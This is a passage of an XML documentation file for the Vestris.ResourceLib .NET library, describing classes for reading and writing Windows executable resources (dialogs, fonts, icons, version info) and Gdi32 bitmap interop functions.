name=\"P:Vestris.ResourceLib.DialogTemplateControlBase.CaptionId\">\n            <summary>\n            Dialog caption.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControlBase.ControlClassId\">\n            <summary>\n            Window class Id.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControlBase.ControlClass\">\n            <summary>\n            Window class of the control.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DialogTemplateControlBase.CreationData\">\n            <summary>\n            Additional creation data.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplateControlBase.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the dialog control to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.DialogTemplateUtil\">\n            <summary>\n            Dialog template utility functions.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplateUtil.ReadResourceId(System.IntPtr,Vestris.ResourceLib.ResourceId@)\">\n            <summary>\n            Read a dialog resource id.       \n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n            <param name=\"rc\">Resource read.</param>\n            <returns></returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplateUtil.StyleToString``2(System.UInt32)\">\n            <summary>\n            String representation of the dialog or control style of two types.\n            </summary>\n            <param name=\"style\">Dialog or control style.</param>\n            <returns>String in the \"s1 | s2 | ... | s3\" format.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplateUtil.StyleToString``2(System.UInt32,System.UInt32)\">\n            <summary>\n            String representation of the dialog or control styles of two types.\n            </summary>\n            <param name=\"style\">Dialog or control style.</param>\n            <param name=\"exstyle\">Dialog or control extended style.</param>\n            <returns>String in the \"s1 | s2 | ... | s3\" format.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DialogTemplateUtil.StyleToString``1(System.UInt32)\">\n            <summary>\n            String representation of the dialog or control style of one type.\n            </summary>\n            <param name=\"style\">Dialog or control style.</param>\n            <returns>String in the \"s1 | s2 | ... | s3\" format.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.DirectoryResource`1\">\n            <summary>\n            This structure depicts the organization of data in a hardware-independent icon resource.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DirectoryResource`1.ResourceType\">\n            <summary>\n            Returns the type of the resource in this group.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.DirectoryResource`1.Icons\">\n            <summary>\n            Icons contained in this hardware-independent icon resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DirectoryResource`1.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            A hardware-independent icon resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DirectoryResource`1.#ctor(Vestris.ResourceLib.Kernel32.ResourceTypes)\">\n            <summary>\n            A new hardware-independent icon resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DirectoryResource`1.SaveTo(System.String)\">\n            <summary>\n            Save a hardware-independent icon resource to an executable file.\n            </summary>\n            <param name=\"filename\">Name of an executable file (.exe or .dll).</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DirectoryResource`1.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read a hardware-independent icon resource from a loaded module.\n            </summary>\n            <param name=\"hModule\">Loaded executable module.</param>\n            <param name=\"lpRes\">Pointer to the beginning of a hardware-independent icon resource.</param>\n            <returns>Pointer to the end of the hardware-independent icon resource.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.DirectoryResource`1.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write a hardware-independent icon resource to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.FixedFileInfo\">\n            <summary>\n            Fixed file information.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FixedFileInfo.#ctor\">\n            <summary>\n            Default Windows fixed file information.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.FixedFileInfo.Value\">\n            <summary>\n            Fixed file info structure.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FixedFileInfo.Read(System.IntPtr)\">\n            <summary>\n            Read the fixed file information structure.\n            </summary>\n            <param name=\"lpRes\">Address in memory.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.FixedFileInfo.FileVersion\">\n            <summary>\n            String representation of the file version.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.FixedFileInfo.ProductVersion\">\n            <summary>\n            String representation of the protect version.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.FixedFileInfo.FileFlags\">\n            <summary>\n            Gets or sets a bitmask that specifies the Boolean attributes of the file.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FixedFileInfo.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write fixed file information to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.FixedFileInfo.Size\">\n            <summary>\n            Size of the VS_FIXEDFILEINFO structure.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FixedFileInfo.ToString\">\n            <summary>\n            String representation of the fixed file info.\n            </summary>\n            <returns>String representation of the fixed file info.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.FontDirectoryEntry\">\n            <summary>\n            A font directory entry.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.FontDirectoryEntry.FontOrdinal\">\n            <summary>\n            Font ordinal.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.FontDirectoryEntry.FaceName\">\n            <summary>\n            Typeface name of the font.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.FontDirectoryEntry.DeviceName\">\n            <summary>\n            Specifies the name of the device if this font file is designated for a specific device.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.FontDirectoryEntry.Font\">\n            <summary>\n            Font information.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FontDirectoryEntry.#ctor\">\n            <summary>\n            A new font directory entry.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FontDirectoryEntry.Read(System.IntPtr)\">\n            <summary>\n            Read the font directory entry.\n            </summary>\n            <param name=\"lpRes\">Pointer in memory.</param>\n            <returns>Pointer to the end of the font directory entry.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FontDirectoryEntry.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the font directory entry to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.FontDirectoryResource\">\n            <summary>\n            A font directory, RT_FONTDIR resource.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.FontDirectoryResource.Fonts\">\n            <summary>\n            Number of fonts in this directory.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FontDirectoryResource.#ctor\">\n            <summary>\n            A new font resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FontDirectoryResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            An existing font resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FontDirectoryResource.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read the font resource.\n            </summary>\n            <param name=\"hModule\">Handle to a module.</param>\n            <param name=\"lpRes\">Pointer to the beginning of the font structure.</param>\n            <returns>Address of the end of the font structure.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FontDirectoryResource.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the font directory to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.FontResource\">\n            <summary>\n            A font, RT_FONT resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FontResource.#ctor\">\n            <summary>\n            A new font resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FontResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            An existing font resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FontResource.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read the font resource.\n            </summary>\n            <param name=\"hModule\">Handle to a module.</param>\n            <param name=\"lpRes\">Pointer to the beginning of the font structure.</param>\n            <returns>Address of the end of the font structure.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.FontResource.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the font resource to a binary writer.\n            </summary>\n            <param name=\"w\">Binary writer.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Gdi32\">\n            <summary>\n            Gdi32.dll interop functions.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Gdi32.BitmapCompression\">\n            <summary>\n            Bitmap compression options.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BitmapCompression.BI_RGB\">\n            <summary>\n            An uncompressed format. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BitmapCompression.BI_RLE8\">\n            <summary>\n            A run-length encoded (RLE) format for bitmaps with 8 bpp. The compression format is a 2-byte format consisting of a count byte followed by a byte containing a color index. For more information, see Bitmap Compression.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BitmapCompression.BI_RLE4\">\n            <summary>\n            An RLE format for bitmaps with 4 bpp. The compression format is a 2-byte format consisting of a count byte followed by two word-length color indexes. For more information, see Bitmap Compression.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BitmapCompression.BI_BITFIELDS\">\n            <summary>\n            Specifies that the bitmap is not compressed and that the color table consists of three DWORD color masks that specify the red, green, and blue components, respectively, of each pixel. This is valid when used with 16- and 32-bpp bitmaps.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BitmapCompression.BI_JPEG\">\n            <summary>\n            Windows 98/Me, Windows 2000/XP: Indicates that the image is a JPEG image.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BitmapCompression.BI_PNG\">\n            <summary>\n            Windows 98/Me, Windows 2000/XP: Indicates that the image is a PNG image.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER\">\n            <summary>\n            A bitmap info header.\n            See http://msdn.microsoft.com/en-us/library/ms532290.aspx for more information.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.biSize\">\n            <summary>\n            Bitmap information size.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.biWidth\">\n            <summary>\n            Bitmap width.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.biHeight\">\n            <summary>\n            Bitmap height.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.biPlanes\">\n            <summary>\n            Number of logical planes.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.biBitCount\">\n            <summary>\n            Bitmap bitrate.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.biCompression\">\n            <summary>\n            Bitmap compression.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.biSizeImage\">\n            <summary>\n            Image size.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.biXPelsPerMeter\">\n            <summary>\n            Horizontal pixel resolution.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.biYPelsPerMeter\">\n            <summary>\n            Vertical pixel resolution.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.biClrUsed\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.biClrImportant\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.BitmapCompression\">\n            <summary>\n            Returns the current bitmap compression.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.PixelFormat\">\n            <summary>\n            Bitmap pixel format.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.Gdi32.BITMAPINFOHEADER.PixelFormatString\">\n            <summary>\n            Bitmap pixel format English standard string.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Gdi32.BITMAPINFO\">\n            <summary>\n            Defines the dimensions and color information of a Windows-based device-independent bitmap (DIB). \n            http://msdn.microsoft.com/en-us/library/dd183375(VS.85).aspx.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFO.bmiHeader\">\n            <summary>\n            Specifies a bitmap information header structure that contains information about the dimensions of color format.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPINFO.bmiColors\">\n            <summary>\n            An array of RGBQUAD. The elements of the array make up the color table.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Gdi32.RGBQUAD\">\n            <summary>\n            Store colors in a paletised icon (2, 4 or 8 bit).\n            http://msdn.microsoft.com/en-us/library/ms997538.aspx\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.RGBQUAD.rgbBlue\">\n            <summary>\n            Blue.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.RGBQUAD.rgbGreen\">\n            <summary>\n            Green.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.RGBQUAD.rgbRed\">\n            <summary>\n            Red.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.RGBQUAD.rgbReserved\">\n            <summary>\n            Reserved.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Gdi32.BITMAPFILEHEADER\">\n            <summary>\n            The BITMAPFILEHEADER structure contains information about the type, size, and layout of a file that contains a DIB.\n            http://msdn.microsoft.com/en-us/library/dd183374(VS.85).aspx\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPFILEHEADER.bfType\">\n            <summary>\n            The file type; must be BM.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPFILEHEADER.bfSize\">\n            <summary>\n            The size, in bytes, of the bitmap file.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPFILEHEADER.bfReserved1\">\n            <summary>\n            Reserved; must be zero.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPFILEHEADER.bfReserved2\">\n            <summary>\n            Reserved; must be zero.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.BITMAPFILEHEADER.bfOffBits\">\n            <summary>\n            The offset, in bytes, from the beginning of the BITMAPFILEHEADER structure to the bitmap bits.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Gdi32.SetDIBitsToDevice(System.IntPtr,System.Int32,System.Int32,System.UInt32,System.UInt32,System.Int32,System.Int32,System.UInt32,System.UInt32,System.Byte[],Vestris.ResourceLib.Gdi32.BITMAPINFO@,System.UInt32)\">\n            <summary>\n            Set the pixels in the specified rectangle on the device that is associated with the destination device \n            context using color data from a DIB, JPEG, or PNG image.\n            http://msdn.microsoft.com/en-us/library/dd162974(VS.85).aspx\n            </summary>\n            <param name=\"hdc\">A handle to the device context.</param>\n            <param name=\"XDest\">The x-coordinate, in logical units, of the upper-left corner of the destination rectangle.</param>\n            <param name=\"YDest\">The y-coordinate, in logical units, of the upper-left corner of the destination rectangle.</param>\n            <param name=\"dwWidth\">The width, in logical units, of the image.</param>\n            <param name=\"dwHeight\">The height, in logical units, of the image.</param>\n            <param name=\"XSrc\">The x-coordinate, in logical units, of the lower-left corner of the image.</param>\n            <param name=\"YSrc\">The y-coordinate, in logical units, of the lower-left corner of the image.</param>\n            <param name=\"uStartScan\">The starting scan line in the image.</param>\n            <param name=\"cScanLines\">The number of DIB scan lines contained in the array pointed to by the lpvBits parameter.</param>\n            <param name=\"lpvBits\">A pointer to the color data stored as an array of bytes.</param>\n            <param name=\"lpbmi\">A pointer to a BITMAPINFOHEADER structure that contains information about the DIB.</param>\n            <param name=\"fuColorUse\">Indicates whether the bmiColors member of the BITMAPINFOHEADER structure contains explicit red, green, blue (RGB) values or indexes into a palette.</param>\n            <returns>\n            If the function succeeds, the return value is the number of scan lines set.\n            If zero scan lines are set (such as when dwHeight is 0) or the function fails, the function returns zero.\n            If the driver cannot support the JPEG or PNG file image passed to SetDIBitsToDevice, the function will fail and return GDI_ERROR. \n            </returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Gdi32.SetDIBitsToDevice(System.IntPtr,System.Int32,System.Int32,System.UInt32,System.UInt32,System.Int32,System.Int32,System.UInt32,System.UInt32,System.IntPtr,System.IntPtr,System.UInt32)\">\n            <summary>\n            Set the pixels in the specified rectangle on the device that is associated with the destination device \n            context using color data from a DIB, JPEG, or PNG image.\n            http://msdn.microsoft.com/en-us/library/dd162974(VS.85).aspx\n            </summary>\n            <param name=\"hdc\">A handle to the device context.</param>\n            <param name=\"XDest\">The x-coordinate, in logical units, of the upper-left corner of the destination rectangle.</param>\n            <param name=\"YDest\">The y-coordinate, in logical units, of the upper-left corner of the destination rectangle.</param>\n            <param name=\"dwWidth\">The width, in logical units, of the image.</param>\n            <param name=\"dwHeight\">The height, in logical units, of the image.</param>\n            <param name=\"XSrc\">The x-coordinate, in logical units, of the lower-left corner of the image.</param>\n            <param name=\"YSrc\">The y-coordinate, in logical units, of the lower-left corner of the image.</param>\n            <param name=\"uStartScan\">The starting scan line in the image.</param>\n            <param name=\"cScanLines\">The number of DIB scan lines contained in the array pointed to by the lpvBits parameter.</param>\n            <param name=\"lpvBits\">A pointer to the color data stored as an array of bytes.</param>\n            <param name=\"lpbmi\">A pointer to a BITMAPINFOHEADER structure that contains information about the DIB.</param>\n            <param name=\"fuColorUse\">Indicates whether the bmiColors member of the BITMAPINFOHEADER structure contains explicit red, green, blue (RGB) values or indexes into a palette.</param>\n            <returns>\n            If the function succeeds, the return value is the number of scan lines set.\n            If zero scan lines are set (such as when dwHeight is 0) or the function fails, the function returns zero.\n            If the driver cannot support the JPEG or PNG file image passed to SetDIBitsToDevice, the function will fail and return GDI_ERROR. \n            </returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Gdi32.GetDIBits(System.IntPtr,System.IntPtr,System.UInt32,System.UInt32,System.Byte[],Vestris.ResourceLib.Gdi32.BITMAPINFO@,System.UInt32)\">\n            <summary>\n            Retrieves the bits of the specified compatible bitmap and copies them into a buffer as \n            a DIB using the specified format\n            </summary>\n            <param name=\"hdc\">A handle to the device context.</param>\n            <param name=\"hbmp\">A handle to the bitmap. This must be a compatible bitmap (DDB).</param>\n            <param name=\"uStartScan\">The first scan line to retrieve.</param>\n            <param name=\"cScanLines\">The number of scan lines to retrieve.</param>\n            <param name=\"lpvBits\">A pointer to a buffer to receive the bitmap data.</param>\n            <param name=\"lpbmi\">A pointer to a BITMAPINFO structure that specifies the desired format for the DIB data.</param>\n            <param name=\"uUsage\">The format of the bmiColors member of the BITMAPINFO structure.</param>\n            <returns>\n            If the lpvBits parameter is non-NULL and the function succeeds, the return value is the number of scan lines copied from the bitmap.\n            If the lpvBits parameter is NULL and GetDIBits successfully fills the BITMAPINFO structure, the return value is non-zero.\n            If the function fails, the return value is zero.\n            </returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Gdi32.CreateDIBSection(System.IntPtr,Vestris.ResourceLib.Gdi32.BITMAPINFO@,System.UInt32,System.IntPtr@,System.IntPtr,System.UInt32)\">\n            <summary>\n            Create a DIB that applications can write to directly. The function gives you a pointer to the location \n            of the bitmap bit values. You can supply a handle to a file-mapping object that the function will use \n            to create the bitmap, or you can let the system allocate the memory for the bitmap.\n            </summary>\n            <param name=\"hdc\">Handle to a device context.</param>\n            <param name=\"pbmi\">A pointer to a BITMAPINFO structure that specifies various attributes of the DIB, including the bitmap dimensions and colors.</param>\n            <param name=\"iUsage\">The type of data contained in the bmiColors array member of the BITMAPINFO structure pointed to by pbmi (either logical palette indexes or literal RGB values).</param>\n            <param name=\"ppvBits\">A pointer to a variable that receives a pointer to the location of the DIB bit values.</param>\n            <param name=\"hSection\">A handle to a file-mapping object that the function will use to create the DIB. This parameter can be NULL.</param>\n            <param name=\"dwOffset\">The offset from the beginning of the file-mapping object referenced by hSection where storage for the bitmap bit values is to begin.</param>\n            <returns>\n            If the function succeeds, the return value is a handle to the newly created DIB, and *ppvBits points to the bitmap bit values.\n            If the function fails, the return value is NULL, and *ppvBits is NULL.\n            </returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Gdi32.DIBColors\">\n            <summary>\n            Defines how to interpret the values in the color table of a DIB.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.DIBColors.DIB_RGB_COLORS\">\n            <summary>\n            The color table contains literal RGB values.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.DIBColors.DIB_PAL_COLORS\">\n            <summary>\n            The color table consists of an array of 16-bit indexes into the LogPalette \n            object that is currently defined in the playback device context.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.DIBColors.DIB_PAL_INDICES\">\n            <summary>\n            No color table exists. The pixels in the DIB are indices into the current logical \n            palette in the playback device context.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.DIBColors.DIB_PAL_LOGINDICES\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Gdi32.CreateCompatibleDC(System.IntPtr)\">\n            <summary>\n            Creates a memory device context (DC) compatible with the specified device.\n            </summary>\n            <param name=\"hdc\">Handle to an existing device context.</param>\n            <returns>\n            The handle to a memory device context indicates success.\n            NULL indicates failure.\n            </returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Gdi32.CreateDC(System.String,System.String,System.String,System.IntPtr)\">\n            <summary>\n            \n            </summary>\n            <param name=\"lpDriverName\">Specifies either DISPLAY or the name of a specific display device or the name of a print provider, which is usually WINSPOOL.</param>\n            <param name=\"lpDeviceName\">Specifies the name of the specific output device being used, as shown by the Print Manager (for example, Epson FX-80).</param>\n            <param name=\"lpOutput\">This parameter is ignored and should be set to NULL. It is provided only for compatibility with 16-bit Windows.</param>\n            <param name=\"lpInitData\">A pointer to a DEVMODE structure containing device-specific initialization data for the device driver.</param>\n            <returns></returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Gdi32.CreateCompatibleBitmap(System.IntPtr,System.Int32,System.Int32)\">\n            <summary>\n            Creates a bitmap compatible with the device that is associated with the specified device context.\n            </summary>\n            <param name=\"hdc\">A handle to a device context.</param>\n            <param name=\"nWidth\">The bitmap width, in pixels.</param>\n            <param name=\"nHeight\">The bitmap height, in pixels.</param>\n            <returns>\n            If the function succeeds, the return value is a handle to the compatible bitmap (DDB).\n            If the function fails, the return value is NULL.\n            </returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Gdi32.SelectObject(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Selects an object into a specified device context. The new object replaces the previous object of the same type. \n            </summary>\n            <param name=\"hdc\">Handle to the device context.</param>\n            <param name=\"hgdiobj\">Handle to the object to be selected.</param>\n            <returns>\n            If the selected object is not a region, the handle of the object being replaced indicates success. \n            If the selected object is a region, one of the following values indicates success. \n            </returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Gdi32.DeleteObject(System.IntPtr)\">\n            <summary>\n            Deletes a logical pen, brush, font, bitmap, region, or palette, freeing all system resources associated with the object. \n            </summary>\n            <param name=\"hObject\">Handle to a logical pen, brush, font, bitmap, region, or palette.</param>\n            <returns>\n            Nonzero indicates success. \n            Zero indicates that the specified handle is not valid or that the handle is currently selected into a device context.\n            </returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Gdi32.DeleteDC(System.IntPtr)\">\n            <summary>\n            Deletes the specified device context.\n            </summary>\n            <param name=\"hdc\">A handle to the device context.</param>\n            <returns>\n            If the function succeeds, the return value is nonzero.\n            If the function fails, the return value is zero.\n            </returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.GenericResource\">\n            <summary>\n            A generic resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.GenericResource._data\">\n            <summary>\n            Raw resource data.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.GenericResource.Data\">\n            <summary>\n            Raw resource data.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.GenericResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            An unstructured generic resource embedded in an executable module.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource handle.</param>\n            <param name=\"type\">Type of resource.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language id.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.GenericResource.#ctor(Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16)\">\n            <summary>\n            A generic resource.\n            </summary>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"language\">Resource language.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.GenericResource.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read a generic resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"lpRes\">Pointer to the beginning of a resource.</param>\n            <returns>Pointer to the end of the resource.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.GenericResource.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the resource to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.IconDirectoryResource\">\n            <summary>\n            This structure depicts the organization of data in a hardware-independent icon resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconDirectoryResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            A hardware-independent icon resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconDirectoryResource.#ctor\">\n            <summary>\n            A new hardware-independent icon resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconDirectoryResource.#ctor(Vestris.ResourceLib.IconFile)\">\n            <summary>\n            A new collection of icons that can be embedded into an executable file.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.IconFile\">\n            <summary>\n            This structure depicts the organization of data in a .ico file.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.IconFile.GroupType\">\n            <summary>\n            Resource type.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.IconFile.GroupType.Icon\">\n            <summary>\n            Icon.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.IconFile.GroupType.Cursor\">\n            <summary>\n            Cursor.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconFile.Type\">\n            <summary>\n            Type of the group icon resource.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconFile.Icons\">\n            <summary>\n            Collection of icons in an .ico file.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconFile.#ctor(System.String)\">\n            <summary>\n            An existing .ico file.\n            </summary>\n            <param name=\"filename\">An existing icon (.ico) 